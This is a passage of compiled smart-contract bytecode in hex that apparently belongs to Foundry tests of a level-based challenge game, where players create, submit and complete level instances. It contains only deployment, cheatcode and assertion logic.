eb565b6020908102919091010151602680546001600160a01b0319166001600160a01b039092169182179055604080516318caf8e360e31b815260048101929092526024820152601060448201527f4c6576656c20496e7374616e63652031000000000000000000000000000000006064820152737109709ecfa91a80626ff3989d68f67f5b1dd12d9063c657c718906084015f604051808303815f87803b158015610808575f80fd5b505af115801561081a573d5f803e3d5ffd5b5050505080600781518110610831576108316126eb565b6020908102919091010151602780546001600160a01b0319166001600160a01b039092169182179055604080516318caf8e360e31b815260048101929092526024820152601060448201527f4c6576656c20496e7374616e63652032000000000000000000000000000000006064820152737109709ecfa91a80626ff3989d68f67f5b1dd12d9063c657c718906084015f604051808303815f87803b1580156108d8575f80fd5b505af11580156108ea573d5f803e3d5ffd5b5050505080600881518110610901576109016126eb565b6020908102919091010151602880546001600160a01b0319166001600160a01b039092169182179055604080516318caf8e360e31b815260048101929092526024820152601060448201527f4c6576656c20496e7374616e63652033000000000000000000000000000000006064820152737109709ecfa91a80626ff3989d68f67f5b1dd12d9063c657c718906084015f604051808303815f87803b1580156109a8575f80fd5b505af11580156109ba573d5f803e3d5ffd5b505050506040516109ca9061236a565b604051809103905ff0801580156109e3573d5f803e3d5ffd5b50601e80547fffffffffffffffffffffff0000000000000000000000000000000000000000ff166101006001600160a01b03938416810291909117918290556020546040517fc4d66de8000000000000000000000000000000000000000000000000000000008152908416600482015291049091169063c4d66de8906024015f604051808303815f87803b158015610a79575f80fd5b505af1158015610a8b573d5f803e3d5ffd5b5050505050565b60606016805480602002602001604051908101604052809291908181526020018280548015610ae857602002820191905f5260205f20905b81546001600160a01b03168152600190910190602001808311610aca575b5050505050905090565b6060601d805480602002602001604051908101604052809291908181526020015f905b82821015610c25575f84815260208082206040805180820182526002870290920180546001600160a01b03168352600181018054835181870281018701909452808452939591948681019491929084015b82821015610c0e578382905f5260205f20018054610b83906126ff565b80601f0160208091040260200160405190810160405280929190818152602001828054610baf906126ff565b8015610bfa5780601f10610bd157610100808354040283529160200191610bfa565b820191905f5260205f20905b815481529060010190602001808311610bdd57829003601f168201915b505050505081526020019060010190610b66565b505050508152505081526020019060010190610b15565b50505050905090565b60606018805480602002602001604051908101604052809291908181526020018280548015610ae857602002820191905f5260205f209081546001600160a01b03168152600190910190602001808311610aca575050505050905090565b60606017805480602002602001604051908101604052809291908181526020018280548015610ae857602002820191905f5260205f209081546001600160a01b03168152600190910190602001808311610aca575050505050905090565b6020546040517f06447d560000000000000000000000000000000000000000000000000000000081526001600160a01b039091166004820152737109709ecfa91a80626ff3989d68f67f5b1dd12d906306447d56906024015f604051808303815f87803b158015610d59575f80fd5b505af1158015610d6b573d5f803e3d5ffd5b5050601e546024805460405163cd819a6f60e01b81526001600160a01b03918216600482015261010090930416935063cd819a6f9250015f604051808303815f87803b158015610db9575f80fd5b505af1158015610dcb573d5f803e3d5ffd5b5050601e54602480546040517ff3a399090000000000000000000000000000000000000000000000000000000081526001600160a01b039182166004820152610e64955061010090930416925063f3a3990991015b602060405180830381865afa158015610e3b573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610e5f9190612737565b612211565b60405163f28dceb360e01b815260206004820152601460248201527f4c6576656c20616c7265616479206578697374730000000000000000000000006044820152737109709ecfa91a80626ff3989d68f67f5b1dd12d9063f28dceb3906064015f604051808303815f87803b158015610edb575f80fd5b505af1158015610eed573d5f803e3d5ffd5b5050601e546024805460405163cd819a6f60e01b81526001600160a01b03918216600482015261010090930416935063cd819a6f9250015f604051808303815f87803b158015610f3b575f80fd5b505af1158015610f4d573d5f803e3d5ffd5b5050601e5460265460248054602154604051637e4326d360e01b81526001600160a01b039485166004820152918416928201929092529082166044820152610100909204169250637e4326d391506064015f604051808303815f87803b158015610fb5575f80fd5b505af1158015610fc7573d5f803e3d5ffd5b5050601e546021546040517fba5d80820000000000000000000000000000000000000000000000000000000081526001600160a01b039182166004820152611021945061010090920416915063ba5d808290602401610e20565b60405163f28dceb360e01b815260206004820152601360248201527f4c6576656c20646f65736e2774206578697374000000000000000000000000006044820152737109709ecfa91a80626ff3989d68f67f5b1dd12d9063f28dceb3906064015f604051808303815f87803b158015611098575f80fd5b505af11580156110aa573d5f803e3d5ffd5b5050601e54602654602554602154604051637e4326d360e01b81526001600160a01b039384166004820152918316602483015282166044820152610100909204169250637e4326d391506064015f604051808303815f87803b15801561110e575f80fd5b505af1158015611120573d5f803e3d5ffd5b5050601e5460265460248054602154604051631601c61960e11b81526001600160a01b039485166004820152918416928201929092529082166044820152610100909204169250632c038c3291506064015f604051808303815f87803b158015611188575f80fd5b505af115801561119a573d5f803e3d5ffd5b5050601e546021546024805460405163e2d8716f60e01b81526001600160a01b039384166004820152908316918101919091526111e9945061010090920416915063e2d8716f90604401610e20565b60405163f28dceb360e01b815260206004820152601460248201527f506c6179657220646f65736e27742065786973740000000000000000000000006044820152737109709ecfa91a80626ff3989d68f67f5b1dd12d9063f28dceb3906064015f604051808303815f87803b158015611260575f80fd5b505af1158015611272573d5f803e3d5ffd5b5050601e5460265460248054602254604051631601c61960e11b81526001600160a01b039485166004820152918416928201929092529082166044820152610100909204169250632c038c3291506064015f604051808303815f87803b1580156112da575f80fd5b505af11580156112ec573d5f803e3d5ffd5b5050601e5460255460405163cd819a6f60e01b81526001600160a01b03918216600482015261010090920416925063cd819a6f91506024015f604051808303815f87803b15801561133b575f80fd5b505af115801561134d573d5f803e3d5ffd5b5050601e54602754602554602254604051637e4326d360e01b81526001600160a01b039384166004820152918316602483015282166044820152610100909204169250637e4326d391506064015f604051808303815f87803b1580156113b1575f80fd5b505af11580156113c3573d5f803e3d5ffd5b505060405163f28dceb360e01b815260206004820152602560248201527f496e7374616e636520666f7220746865206c6576656c206973206e6f7420637260448201527f65617465640000000000000000000000000000000000000000000000000000006064820152737109709ecfa91a80626ff3989d68f67f5b1dd12d925063f28dceb391506084015f604051808303815f87803b158015611464575f80fd5b505af1158015611476573d5f803e3d5ffd5b5050601e5460265460248054602254604051631601c61960e11b81526001600160a01b039485166004820152918416928201929092529082166044820152610100909204169250632c038c3291506064015f604051808303815f87803b1580156114de575f80fd5b505af11580156114f0573d5f803e3d5ffd5b505060405163f28dceb360e01b815260206004820152601760248201527f4c6576656c20616c726561647920636f6d706c657465640000000000000000006044820152737109709ecfa91a80626ff3989d68f67f5b1dd12d925063f28dceb391506064015f604051808303815f87803b15801561156b575f80fd5b505af115801561157d573d5f803e3d5ffd5b5050601e5460265460248054602154604051631601c61960e11b81526001600160a01b039485166004820152918416928201929092529082166044820152610100909204169250632c038c3291506064015f604051808303815f87803b1580156115e5575f80fd5b505af11580156115f7573d5f803e3d5ffd5b5050601e54602754602554602154604051637e4326d360e01b81526001600160a01b039384166004820152918316602483015282166044820152610100909204169250637e4326d391506064015f604051808303815f87803b15801561165b575f80fd5b505af115801561166d573d5f803e3d5ffd5b5050601e546027546025546021546040516306878c8f60e51b81526001600160a01b03938416600482015291831660248301528216604482015261010090920416925063d0f191e091506064015f604051808303815f87803b1580156116d1575f80fd5b505af11580156116e3573d5f803e3d5ffd5b5050601e546027546025546021546040516306878c8f60e51b81526001600160a01b03938416600482015291831660248301528216604482015261010090920416925063d0f191e091506064015f604051808303815f87803b158015611747575f80fd5b505af1158015611759573d5f803e3d5ffd5b5050601e5460225460255460405163e2d8716f60e01b81526001600160a01b03928316600482015290821660248201526117e4945061010090920416915063e2d8716f90604401602060405180830381865afa1580156117bb573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906117df9190612737565b612287565b601e546021546040517f8b146ad60000000000000000000000000000000000000000000000000000000081526001600160a01b0391821660048201525f92610100900490911690638b146ad690602401602060405180830381865afa15801561184f573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190611873919061275d565b90506118808160026122d9565b601e546021546040517f763fdb450000000000000000000000000000000000000000000000000000000081526001600160a01b0391821660048201525f9261010090049091169063763fdb4590602401602060405180830381865afa1580156118eb573d5f803e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061190f919061275d565b905061191c8160016122d9565b601e546021546040517f7a9b6dda0000000000000000000000000000000000000000000000000000000081526001600160a01b0391821660048201525f92610100900490911690637a9b6dda90602401602060405180830381865afa158015611987573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906119ab919061275d565b90506119b88160026122d9565b601e546021546040517fbc3086a20000000000000000000000000000000000000000000000000000000081526001600160a01b0391821660048201525f9261010090049091169063bc3086a290602401602060405180830381865afa158015611a23573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190611a47919061275d565b9050611a5b816706f05b59d3b200006122d9565b601e5460265460248054602354604051637e4326d360e01b81526001600160a01b0394851660048201529184169282019290925290821660448201526101009092041690637e4326d3906064015f604051808303815f87803b158015611abf575f80fd5b505af1158015611ad1573d5f803e3d5ffd5b5050601e5460275460248054602354604051637e4326d360e01b81526001600160a01b039485166004820152918416928201929092529082166044820152610100909204169250637e4326d391506064015f604051808303815f87803b158015611b39575f80fd5b505af1158015611b4b573d5f803e3d5ffd5b5050601e5460285460248054602354604051637e4326d360e01b81526001600160a01b039485166004820152918416928201929092529082166044820152610100909204169250637e4326d391506064015f604051808303815f87803b158015611bb3575f80fd5b505af1158015611bc5573d5f803e3d5ffd5b50737109709ecfa91a80626ff3989d68f67f5b1dd12d925063e5d6bf029150611bf19050426003612774565b6040518263ffffffff1660e01b8152600401611c0f91815260200190565b5f604051808303815f87803b158015611c26575f80fd5b505af1158015611c38573d5f803e3d5ffd5b5050601e5460285460248054602354604051631601c61960e11b81526001600160a01b039485166004820152918416928201929092529082166044820152610100909204169250632c038c3291506064015f604051808303815f87803b158015611ca0575f80fd5b505af1158015611cb2573d5f803e3d5ffd5b5050601e54602354602480546040517f8dc035350000000000000000000000000000000000000000000000000000000081526001600160a01b03938416600482015290831691810191909152611d5b9450610100909204169150638dc0353590604401602060405180830381865afa158015611d30573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190611d54919061275d565b60036122d9565b50505050565b6060601b805480602002602001604051908101604052809291908181526020015f905b82821015610c25575f8481526020908190206040805180820182526002860290920180546001600160a01b03168352600181018054835181870281018701909452808452939491938583019392830182828015611e3f57602002820191905f5260205f20905f905b82829054906101000a900460e01b7bffffffffffffffffffffffffffffffffffffffffffffffffffffffff191681526020019060040190602082600301049283019260010382029150808411611dec5790505b50505050508152505081526020019060010190611d84565b6060601a805480602002602001604051908101604052809291908181526020015f905b82821015610c25578382905f5260205f20018054611e97906126ff565b80601f0160208091040260200160405190810160405280929190818152602001828054611ec3906126ff565b8015611f0e5780601f10611ee557610100808354040283529160200191611f0e565b820191905f5260205f20905b815481529060010190602001808311611ef157829003601f168201915b505050505081526020019060010190611e7a565b6060601c805480602002602001604051908101604052809291908181526020015f905b82821015610c25575f8481526020908190206040805180820182526002860290920180546001600160a01b0316835260018101805483518187028101870190945280845293949193858301939283018282801561200057602002820191905f5260205f20905f905b82829054906101000a900460e01b7bffffffffffffffffffffffffffffffffffffffffffffffffffffffff191681526020019060040190602082600301049283019260010382029150808411611fad5790505b50505050508152505081526020019060010190611f45565b60606019805480602002602001604051908101604052809291908181526020015f905b82821015610c25578382905f5260205f20018054612058906126ff565b80601f0160208091040260200160405190810160405280929190818152602001828054612084906126ff565b80156120cf5780601f106120a6576101008083540402835291602001916120cf565b820191905f5260205f20905b8154815290600101906020018083116120b257829003601f168201915b50505050508152602001906001019061203b565b6008545f9060ff16156120fa575060085460ff1690565b6040517f667f9d70000000000000000000000000000000000000000000000000000000008152737109709ecfa91a80626ff3989d68f67f5b1dd12d600482018190527f6661696c6564000000000000000000000000000000000000000000000000000060248301525f9163667f9d7090604401602060405180830381865afa158015612188573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906121ac919061275d565b1415905090565b60606015805480602002602001604051908101604052809291908181526020018280548015610ae857602002820191905f5260205f209081546001600160a01b03168152600190910190602001808311610aca575050505050905090565b6040517f0c9fd5810000000000000000000000000000000000000000000000000000000081528115156004820152737109709ecfa91a80626ff3989d68f67f5b1dd12d90630c9fd581906024015b5f6040518083038186803b158015612275575f80fd5b505afa158015610a8b573d5f803e3d5ffd5b6040517fa59828850000000000000000000000000000000000000000000000000000000081528115156004820152737109709ecfa91a80626ff3989d68f67f5b1dd12d9063a59828859060240161225f565b6040517f98296c540000000000000000000000000000000000000000000000000000000081526004810183905260248101829052737109709ecfa91a80626ff3989d68f67f5b1dd12d906398296c54906044015f6040518083038186803b158015612342575f80fd5b505afa158015612354573d5f803e3d5ffd5b505050505050565b6153f8806200279a83390190565b611e7a8062007b9283390190565b602080825282518282018190525f9190848201906040850190845b818110156123b85783516001600160a01b031683529284019291840191600101612393565b50909695505050505050565b5f60208083018184528085518083526040925060408601915060408160051b8701018488015f5b838110156124a657603f19898403018552815180516001600160a01b031684528701518784018790528051878501819052908801906060600582901b8601810191908601905f5b8181101561249057878403605f19018352845180518086525f5b8181101561246a578e81840101518f82890101528e8101905061244c565b505f8682018f0152958d0195601f01601f19169094018c019350918b0191600101612432565b50505095880195935050908601906001016123eb565b509098975050505050505050565b5f60208083018184528085518083526040925060408601915060408160051b8701018488015f5b838110156124a657888303603f19018552815180516001600160a01b031684528701518784018790528051878501819052908801905f9060608601905b8083101561255a5783517fffffffff00000000000000000000000000000000000000000000000000000000168252928a019260019290920191908a0190612518565b509689019694505050908601906001016124db565b5f602080830181845280855180835260408601915060408160051b87010192508387015f5b828110156125ef57878503603f19018452815180518087525f5b818110156125c9578281018901518882018a015288016125ae565b505f878201890152601f01601f1916909501860194509285019290850190600101612594565b5092979650505050505050565b634e487b7160e01b5f52604160045260245ffd5b80516001600160a01b0381168114612626575f80fd5b919050565b5f602080838503121561263c575f80fd5b825167ffffffffffffffff80821115612653575f80fd5b818501915085601f830112612666575f80fd5b815181811115612678576126786125fc565b8060051b604051601f19603f8301168101818110858211171561269d5761269d6125fc565b6040529182528482019250838101850191888311156126ba575f80fd5b938501935b828510156126df576126d085612610565b845293850193928501926126bf565b98975050505050505050565b634e487b7160e01b5f52603260045260245ffd5b600181811c9082168061271357607f821691505b60208210810361273157634e487b7160e01b5f52602260045260245ffd5b50919050565b5f60208284031215612747575f80fd5b81518015158114612756575f80fd5b9392505050565b5f6020828403121561276d575f80fd5b5051919050565b8082018082111561279357634e487b7160e01b5f52601160045260245ffd5b9291505056fe600c8054600160ff1991821681178355601e80549092161790556b75736572206164647265737360a01b60a05260805260ac6040527ffadd6953a0436e85528ded789af2e2b7e57c1cd7c68c5c3796d8ea67e0018db7601f55348015610063575f80fd5b50615387806100715f395ff3fe608060405234801562000010575f80fd5b506004361062000148575f3560e01c806385db81cc11620000bb578063b90a68fa1162000087578063e20c9f71116200006b578063e20c9f7114620002b0578063f82de7b014620002ba578063fa7626d414620002d3575f80fd5b8063b90a68fa1462000279578063ba414fa614620002a6575f80fd5b806385db81cc1462000226578063916a17c6146200023d5780639b59adbc1462000247578063b5508aa9146200026f575f80fd5b80633e5e3c23116200011757806366d9a9a011620000fb57806366d9a9a014620001dd578063792e11f514620001f657806385226c81146200020d575f80fd5b80633e5e3c2314620001c95780633f7286f414620001d3575f80fd5b80631c7db669146200014c5780631ed7831c14620001805780632356661a14620001995780632ade388014620001b0575b5f80fd5b620001636200015d36600462001364565b620002e1565b6040516001600160a01b0390911681526020015b60405180910390f35b6200018a620004ab565b604051620001779190620013a7565b62000163620001aa36600462001493565b6200050d565b620001ba620006d8565b60405162000177919062001566565b6200018a62000820565b6200018a62000880565b620001e7620008e0565b60405162000177919062001629565b6200018a62000207366004620016f6565b620009da565b6200021762000b6a565b6040516200017791906200170e565b620001636200023736600462001774565b62000c3f565b620001e762000d5e565b6200025e6200025836600462001792565b62000e58565b604051901515815260200162000177565b6200021762000fe8565b601f8054604080516020808201849052825180830382018152918301909252805191012090915562000163565b6200025e620010bd565b6200018a62001191565b620002d1620002cb366004620016f6565b620011f1565b005b601e546200025e9060ff1681565b5f7f885cb69240a935d632d79c317109709ecfa91a80626ff3989d68f67f5b1dd12d5f1c6001600160a01b03166341af2f526040518163ffffffff1660e01b81526004015f604051808303815f87803b1580156200033d575f80fd5b505af115801562000350573d5f803e3d5ffd5b50506040517fdfc86b170000000000000000000000000000000000000000000000000000000081526001600160a01b0386811660048301528716925063dfc86b17915084906024015f604051808303818588803b158015620003b0575f80fd5b505af1158015620003c3573d5f803e3d5ffd5b50505050505f7f885cb69240a935d632d79c317109709ecfa91a80626ff3989d68f67f5b1dd12d5f1c6001600160a01b031663191553a46040518163ffffffff1660e01b81526004015f604051808303815f875af115801562000428573d5f803e3d5ffd5b505050506040513d5f823e601f3d908101601f191682016040526200045191908101906200185b565b90508060018251620004649190620019eb565b8151811062000477576200047762001a01565b60200260200101515f015160028151811062000497576200049762001a01565b60200260200101515f1c9150509392505050565b606060168054806020026020016040519081016040528092919081815260200182805480156200050357602002820191905f5260205f20905b81546001600160a01b03168152600190910190602001808311620004e4575b5050505050905090565b5f807f885cb69240a935d632d79c317109709ecfa91a80626ff3989d68f67f5b1dd12d5f1c6001600160a01b031663d930a0e66040518163ffffffff1660e01b81526004015f60405180830381865afa1580156200056d573d5f803e3d5ffd5b505050506040513d5f823e601f3d908101601f1916820160405262000596919081019062001a15565b90505f818485604051602001620005af92919062001a67565b60408051601f1981840301815290829052620005cf929160200162001b15565b60408051601f19818403018152908290527f60f9bb1100000000000000000000000000000000000000000000000000000000825291505f90737109709ecfa91a80626ff3989d68f67f5b1dd12d906360f9bb11906200063390859060040162001b47565b5f60405180830381865afa1580156200064e573d5f803e3d5ffd5b505050506040513d5f823e601f3d908101601f1916820160405262000677919081019062001a15565b90505f620006c46040518060400160405280601081526020017f2e62797465636f64652e6f626a65637400000000000000000000000000000000815250836200128090919063ffffffff16565b90508051602082015ff09695505050505050565b6060601d805480602002602001604051908101604052809291908181526020015f905b8282101562000817575f84815260208082206040805180820182526002870290920180546001600160a01b03168352600181018054835181870281018701909452808452939591948681019491929084015b82821015620007ff578382905f5260205f200180546200076d9062001b5b565b80601f01602080910402602001604051908101604052809291908181526020018280546200079b9062001b5b565b8015620007ea5780601f10620007c057610100808354040283529160200191620007ea565b820191905f5260205f20905b815481529060010190602001808311620007cc57829003601f168201915b5050505050815260200190600101906200074d565b505050508152505081526020019060010190620006fb565b50505050905090565b606060188054806020026020016040519081016040528092919081815260200182805480156200050357602002820191905f5260205f209081546001600160a01b03168152600190910190602001808311620004e4575050505050905090565b606060178054806020026020016040519081016040528092919081815260200182805480156200050357602002820191905f5260205f209081546001600160a01b03168152600190910190602001808311620004e4575050505050905090565b6060601b805480602002602001604051908101604052809291908181526020015f905b8282101562000817575f8481526020908190206040805180820182526002860290920180546001600160a01b03168352600181018054835181870281018701909452808452939491938583019392830182828015620009c157602002820191905f5260205f20905f905b82829054906101000a900460e01b7bffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916815260200190600401906020826003010492830192600103820291508084116200096d5790505b5050505050815250508152602001906001019062000903565b60605f8267ffffffffffffffff811115620009f957620009f9620013f5565b60405190808252806020026020018201604052801562000a23578160200160208202803683370190505b5090505f5b8381101562000b63575f306001600160a01b031663b90a68fa6040518163ffffffff1660e01b81526004016020604051808303815f875af115801562000a70573d5f803e3d5ffd5b505050506040513d601f19601f8201168201806040525081019062000a96919062001b95565b6040517fc88a5e6d0000000000000000000000000000000000000000000000000000000081526001600160a01b038216600482015268056bc75e2d631000006024820152909150737109709ecfa91a80626ff3989d68f67f5b1dd12d9063c88a5e6d906044015f604051808303815f87803b15801562000b14575f80fd5b505af115801562000b27573d5f803e3d5ffd5b505050508083838151811062000b415762000b4162001a01565b6001600160a01b03909216602092830291909101909101525060010162000a28565b5092915050565b6060601a805480602002602001604051908101604052809291908181526020015f905b8282101562000817578382905f5260205f2001805462000bad9062001b5b565b80601f016020809104026020016040519081016040528092919081815260200182805462000bdb9062001b5b565b801562000c2a5780601f1062000c005761010080835404028352916020019162000c2a565b820191905f5260205f20905b81548152906001019060200180831162000c0c57829003601f168201915b50505050508152602001906001019062000b8d565b5f8060405162000c4f9062001322565b604051809103905ff08015801562000c69573d5f803e3d5ffd5b5090505f60405162000c7b9062001330565b604051809103905ff08015801562000c95573d5f803e3d5ffd5b50848360405162000ca6906200133e565b6001600160a01b03938416815291831660208301529091166040820152606001604051809103905ff08015801562000ce0573d5f803e3d5ffd5b506040517fbe117dfd0000000000000000000000000000000000000000000000000000000081526001600160a01b0380831660048301529192509083169063be117dfd906024015f604051808303815f87803b15801562000d3f575f80fd5b505af115801562000d52573d5f803e3d5ffd5b50939695505050505050565b6060601c805480602002602001604051908101604052809291908181526020015f905b8282101562000817575f8481526020908190206040805180820182526002860290920180546001600160a01b0316835260018101805483518187028101870190945280845293949193858301939283018282801562000e3f57602002820191905f5260205f20905f905b82829054906101000a900460e01b7bffffffffffffffffffffffffffffffffffffffffffffffffffffffff19168152602001906004019060208260030104928301926001038202915080841162000deb5790505b5050505050815250508152602001906001019062000d81565b5f7f885cb69240a935d632d79c317109709ecfa91a80626ff3989d68f67f5b1dd12d5f1c6001600160a01b03166341af2f526040518163ffffffff1660e01b81526004015f604051808303815f87803b15801562000eb4575f80fd5b505af115801562000ec7573d5f803e3d5ffd5b50506040517fc882d7c20000000000000000000000000000000000000000000000000000000081526001600160a01b0385811660048301528616925063c882d7c291506024015f604051808303815f87803b15801562000f25575f80fd5b505af115801562000f38573d5f803e3d5ffd5b505050505f7f885cb69240a935d632d79c317109709ecfa91a80626ff3989d68f67f5b1dd12d5f1c6001600160a01b031663191553a46040518163ffffffff1660e01b81526004015f604051808303815f875af115801562000f9c573d5f803e3d5ffd5b505050506040513d5f823e601f3d908101601f1916820160405262000fc591908101906200185b565b905060018151111562000fdd57600191505062000fe2565b5f9150505b92915050565b60606019805480602002602001604051908101604052809291908181526020015f905b8282101562000817578382905f5260205f200180546200102b9062001b5b565b80601f0160208091040260200160405190810160405280929190818152602001828054620010599062001b5b565b8015620010a85780601f106200107e57610100808354040283529160200191620010a8565b820191905f5260205f20905b8154815290600101906020018083116200108a57829003601f168201915b5050505050815260200190600101906200100b565b6008545f9060ff1615620010d5575060085460ff1690565b6040517f667f9d70000000000000000000000000000000000000000000000000000000008152737109709ecfa91a80626ff3989d68f67f5b1dd12d600482018190527f6661696c6564000000000000000000000000000000000000000000000000000060248301525f9163667f9d7090604401602060405180830381865afa15801562001164573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906200118a919062001bb3565b1415905090565b606060158054806020026020016040519081016040528092919081815260200182805480156200050357602002820191905f5260205f209081546001600160a01b03168152600190910190602001808311620004e4575050505050905090565b5f620011fe824362001bcb565b6040517f1f7b4f3000000000000000000000000000000000000000000000000000000000815260048101829052909150737109709ecfa91a80626ff3989d68f67f5b1dd12d90631f7b4f30906024015f604051808303815f87803b15801562001265575f80fd5b505af115801562001278573d5f803e3d5ffd5b505050505050565b6040517ffd921be8000000000000000000000000000000000000000000000000000000008152606090737109709ecfa91a80626ff3989d68f67f5b1dd12d9063fd921be890620012d7908690869060040162001be1565b5f60405180830381865afa158015620012f2573d5f803e3d5ffd5b505050506040513d5f823e601f3d908101601f191682016040526200131b919081019062001c12565b9392505050565b610ae58062001c4983390190565b611e7a806200272e83390190565b610daa80620045a883390190565b6001600160a01b038116811462001361575f80fd5b50565b5f805f6060848603121562001377575f80fd5b833562001384816200134c565b9250602084013562001396816200134c565b929592945050506040919091013590565b602080825282518282018190525f9190848201906040850190845b81811015620013e95783516001600160a01b031683529284019291840191600101620013c2565b50909695505050505050565b634e487b7160e01b5f52604160045260245ffd5b6040516060810167ffffffffffffffff811182821017156200142f576200142f620013f5565b60405290565b604051601f8201601f1916810167ffffffffffffffff81118282101715620014615762001461620013f5565b604052919050565b5f67ffffffffffffffff821115620014855762001485620013f5565b50601f01601f191660200190565b5f60208284031215620014a4575f80fd5b813567ffffffffffffffff811115620014bb575f80fd5b8201601f81018413620014cc575f80fd5b8035620014e3620014dd8262001469565b62001435565b818152856020838501011115620014f8575f80fd5b816020840160208301375f91810160200191909152949350505050565b5f5b838110156200153157818101518382015260200162001517565b50505f910152565b5f81518084526200155281602086016020860162001515565b601f01601f19169290920160200192915050565b602080825282518282018190525f919060409081850190600581811b87018401888601875b848110156200161a57603f198a8403018652815180516001600160a01b03168452880151888401889052805188850181905290890190606081871b8601810191908601905f5b818110156200160357605f19888503018352620015f084865162001539565b948d01949350918c0191600101620015d1565b50505096890196935050908701906001016200158b565b50909998505050505050505050565b5f60208083018184528085518083526040925060408601915060408160051b8701018488015f5b83811015620016e857888303603f19018552815180516001600160a01b031684528701518784018790528051878501819052908801905f9060608601905b80831015620016d25783517fffffffff00000000000000000000000000000000000000000000000000000000168252928a019260019290920191908a01906200168e565b5096890196945050509086019060010162001650565b509098975050505050505050565b5f6020828403121562001707575f80fd5b5035919050565b5f60208083016020845280855180835260408601915060408160051b8701019250602087015f5b828110156200176757603f198886030184526200175485835162001539565b9450928501929085019060010162001735565b5092979650505050505050565b5f6020828403121562001785575f80fd5b81356200131b816200134c565b5f8060408385031215620017a4575f80fd5b8235620017b1816200134c565b91506020830135620017c3816200134c565b809150509250929050565b5f67ffffffffffffffff821115620017ea57620017ea620013f5565b5060051b60200190565b5f62001804620014dd8462001469565b905082815283838301111562001818575f80fd5b6200131b83602083018462001515565b5f82601f83011262001838575f80fd5b6200131b83835160208501620017f4565b805162001856816200134c565b919050565b5f60208083850312156200186d575f80fd5b825167ffffffffffffffff8082111562001885575f80fd5b818501915085601f83011262001899575f80fd5b8151620018aa620014dd82620017ce565b81815260059190911b83018401908481019088831115620018c9575f80fd5b8585015b83811015620019ca57805185811115620018e5575f80fd5b86016060818c03601f19011215620018fb575f80fd5b6200190562001409565b888201518781111562001916575f80fd5b8201603f81018d1362001927575f80fd5b898101516200193a620014dd82620017ce565b81815260059190911b8201604001908b8101908f8311156200195a575f80fd5b6040840193505b828410156200197c5783518252928c0192908c019062001961565b845250505060408201518781111562001993575f80fd5b620019a38d8b8386010162001828565b8a83015250620019b66060830162001849565b6040820152845250918601918601620018cd565b5098975050505050505050565b634e487b7160e01b5f52601160045260245ffd5b8181038181111562000fe25762000fe2620019d7565b634e487b7160e01b5f52603260045260245ffd5b5f6020828403121562001a26575f80fd5b815167ffffffffffffffff81111562001a3d575f80fd5b8201601f8101841362001a4e575f80fd5b62001a5f84825160208401620017f4565b949350505050565b7f2f6f75742f00000000000000000000000000000000000000000000000000000081525f835162001aa081600585016020880162001515565b7f2e736f6c2f000000000000000000000000000000000000000000000000000000600591840191820152835162001adf81600a84016020880162001515565b7f2e6a736f6e000000000000000000000000000000000000000000000000000000600a9290910191820152600f01949350505050565b5f835162001b2881846020880162001515565b83519083019062001b3e81836020880162001515565b01949350505050565b602081525f6200131b602083018462001539565b600181811c9082168062001b7057607f821691505b60208210810362001b8f57634e487b7160e01b5f52602260045260245ffd5b50919050565b5f6020828403121562001ba6575f80fd5b81516200131b816200134c565b5f6020828403121562001bc4575f80fd5b5051919050565b8082018082111562000fe25762000fe2620019d7565b604081525f62001bf5604083018562001539565b828103602084015262001c09818562001539565b95945050505050565b5f6020828403121562001c23575f80fd5b815167ffffffffffffffff81111562001c3a575f80fd5b62001a5f848285016200182856fe608060405234801561000f575f80fd5b506100193361001e565b61006d565b5f80546001600160a01b038381166001600160a01b0319831681178455604051919092169283917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e09190a35050565b610a6b8061007a5f395ff3fe6080604052600436106100ad575f3560e01c8063be117dfd11610066578063cf0046951161004c578063cf004695146101eb578063dfc86b1714610229578063f2fde38b1461023c575f80fd5b8063be117dfd146101ad578063c882d7c2146101cc575f80fd5b8063715018a611610096578063715018a61461014a5780638da5cb5b1461015e57806395e272bd1461018e575f80fd5b8063202023d4146100b15780634f17afd8146100d2575b5f80fd5b3480156100bc575f80fd5b506100d06100cb3660046109d9565b61025b565b005b3480156100dd575f80fd5b5061011d6100ec3660046109d9565b60036020525f9081526040902080546001909101546001600160a01b0391821691811690600160a01b900460ff1683565b604080516001600160a01b0394851681529390921660208401521515908201526060015b60405180910390f35b348015610155575f80fd5b506100d06102f6565b348015610169575f80fd5b505f546001600160a01b03165b6040516001600160a01b039091168152602001610141565b348015610199575f80fd5b50600154610176906001600160a01b031681565b3480156101b8575f80fd5b506100d06101c73660046109d9565b610309565b3480156101d7575f80fd5b506100d06101e63660046109d9565b610340565b3480156101f6575f80fd5b506102196102053660046109d9565b60026020525f908152604090205460ff1681565b6040519015158152602001610141565b6100d06102373660046109d9565b610642565b348015610247575f80fd5b506100d06102563660046109d9565b610880565b610263610910565b6001600160a01b038181165f8181526002602052604090819020805460ff191660019081179091555490517fcd819a6f00000000000000000000000000000000000000000000000000000000815260048101929092529091169063cd819a6f906024015f604051808303815f87803b1580156102dd575f80fd5b505af11580156102ef573d5f803e3d5ffd5b5050505050565b6102fe610910565b6103075f610969565b565b610311610910565b6001805473ffffffffffffffffffffffffffffffffffffffff19166001600160a01b0392909216919091179055565b6001600160a01b038082165f908152600360205260409020805490911633146103d65760405162461bcd60e51b815260206004820152603060248201527f5468697320696e7374616e636520646f65736e27742062656c6f6e6720746f2060448201527f7468652063757272656e7420757365720000000000000000000000000000000060648201526084015b60405180910390fd5b6001810154600160a01b900460ff16156104325760405162461bcd60e51b815260206004820181905260248201527f4c6576656c20686173206265656e20636f6d706c6574656420616c726561647960448201526064016103cd565b60018101546040517fd38def5b0000000000000000000000000000000000000000000000000000000081526001600160a01b0384811660048301523360248301529091169063d38def5b906044016020604051808303815f875af115801561049c573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906104c091906109fb565b156105b95760018181018054600160a01b7fffffffffffffffffffffff00ffffffffffffffffffffffffffffffffffffffff82161790915590546040517f2c038c3200000000000000000000000